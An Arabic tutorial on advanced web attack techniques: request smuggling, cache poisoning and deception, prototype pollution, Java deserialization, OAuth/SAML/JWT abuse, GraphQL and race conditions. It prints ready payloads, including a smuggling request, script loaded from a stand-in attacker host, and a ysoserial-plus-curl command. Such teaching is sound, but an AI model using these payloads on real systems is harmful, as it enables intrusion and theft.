الويب المتقدم — تهريب الطلبات وعدم التزامن

الويب على مستوى الخبراء

HTTP Request Smuggling — الخلاف بين الـ frontend و backend

أنواع الـ desync

• CL.TE — الـ frontend يستخدم Content-Length، الـ backend يستخدم Transfer-Encoding.
• TE.CL — العكس.
• TE.TE — كلاهما يدعمان TE لكن يفسّران obfuscation بشكل مختلف.
• HTTP/2 → HTTP/1 downgrade — frontend HTTP/2 يحوّل لـ backend HTTP/1.
• H2.CL / H2.TE — تهريب عبر HTTP/2 mismatched headers.

POST / HTTP/1.1
Host: target.gov
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

الـ frontend يقرأ كامل الـ 13 بايت كرسالة واحدة. الـ backend يرى chunked → 0 = نهاية، فيعتبر SMUGGLED بداية رسالة التالية من ضحية حقيقية.

التأثير

• سرقة الـ session cookies للمستخدمين القادمين.
• تسميم الـ cache.
• تجاوز الـ access controls على الـ frontend.
• تنفيذ XSS على ضحايا آخرين.
• سرقة كل الـ headers بما فيها الـ Authorization.

الكشف و الأدوات

• HTTP Request Smuggler (Burp extension by Albinowax).
• smuggler.py (defparam).
• h2cSmuggler.
• Burp Repeater مع timing differential analysis.

HTTP/2 و gRPC — أسطح هجوم جديدة

• Rapid Reset (CVE-2023-44487) — DoS عبر فتح streams و إغلاقها فوراً.
• HPACK bombs — header compression للضغط على الـ memory.
• CONTINUATION flood (CVE-2024-27316) — frames بلا END_HEADERS.
• gRPC: تجاوز auth بـ :authority override، deserialization في الـ Protobuf.

Server-Side Cache Poisoning

# 1) ابحث عن header غير مدرج في الـ cache key
GET / HTTP/1.1
Host: target.gov
X-Forwarded-Host: attacker.com

# 2) لو الموقع يعكس X-Forwarded-Host في الـ HTML/JS:
<script src="//attacker.com/main.js">

# 3) الـ cache يحفظ النتيجة. كل زائر تالٍ يحمّل JS من المهاجم.

أداة: Param Miner (Burp) لاكتشاف الـ unkeyed inputs.

Web Cache Deception

المعكوس للـ Cache Poisoning: تخدع الـ cache ليحفظ صفحة خاصة بمستخدم على أنها static.

# المستخدم لديه /account => يُرجع بياناته الشخصية
# المهاجم يرسل له رابط:
https://target.gov/account/photo.css

# الـ proxy يرى ".css" => يحفظها كـ static
# المهاجم يفتح نفس الرابط => يحصل على بيانات الضحية

Prototype Pollution — JavaScript

في JavaScript، كل object يرث من Object.prototype. تلويث هذا الـ prototype = تأثير على كل objects التطبيق.

// كود hashmap بسيط
function merge(target, source) {
  for (let k in source) {
    if (typeof source[k] === 'object') merge(target[k], source[k]);
    else target[k] = source[k];
  }
}

// payload في JSON body
{ "__proto__": { "isAdmin": true } }

// الآن: ({}).isAdmin === true لكل object في التطبيق!

Gadget chains معروفة على Express, Lodash, jQuery تتحول من PP إلى RCE.

أدوات: ppmap, ppfuzz, server-side-prototype-pollution-gadgets (PortSwigger).

Insecure Deserialization — سلاسل الـ Gadgets

الـ deserialization gadget chain هي تركيبة كائنات (موجودة بالفعل في الـ classpath) إذا فُكّ تشفيرها بترتيب معين تنفّذ كوداً.

أمثلة شهيرة

# توليد payload يستغل CommonsCollections1 لتنفيذ id
java -jar ysoserial.jar CommonsCollections1 'id' | base64

# يُحقن في أي endpoint يستخدم ObjectInputStream
curl -X POST https://target/api/import \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

OAuth & SSO Abuse — هجمات القفل الذهبي

• Account takeover via dangling redirect_uri — تسجيل subdomain منتهي ثم استخدامه redirect.
• OAuth covert redirect — redirect_uri فيه open redirect.
• SAML XSW (Signature Wrapping) — التلاعب في الـ XML بحيث يتحقق التوقيع لجزء و يُقرأ جزء آخر.
• JWT confused deputy — توكن من مصدر آخر يُقبل بسبب عدم فحص iss.
• Cross-tenant takeover في الـ SaaS متعدد الـ tenants عبر misconfigured trust.

GraphQL هجمات أعمق

{
  a1: user(id:1) { posts { comments { author { posts { comments { ... } } } } } }
  a2: user(id:2) { ... }
  ... 1000 aliases
}

• Field suggestions ينكشف schema حتى لو introspection معطل.
• Mutation race conditions: alias متعدد لاستهلاك نقاط reward قبل التحقق.
• Authentication ضعيف على بعض الـ resolvers بسبب نسيان فحوصات.

Race Conditions — ثواني تكلف الملايين

# 50 طلب متزامن لاستخدام كوبون تخفيض مرة واحدة
turbo-intruder + race-single-packet attack
# أو
GO + curl --parallel
ffuf -threads 50 -u https://target/redeem?code=PROMO

• أداة Turbo Intruder + single-packet attack (PortSwigger 2023) ترسل عشرات الطلبات في حزمة TCP واحدة.
• تأثيرات: تكرار سحب رصيد، تجاوز email verification، تسجيل اسم مستخدم محجوز.

منهجية اصطياد الثغرات الحقيقية

1. اقرأ الكود إن أمكن: source review >> black-box.
2. اخرج عن الـ checklist: OWASP خطوة، الإبداع خطوات.
3. افهم business logic: أكثر الثغرات قيمة هنا، لا في الـ payload.
4. اربط الثغرات: SSRF صغير + open redirect + IDOR = اختراق كامل.
5. وثّق proof-of-impact واضحاً للـ blue team.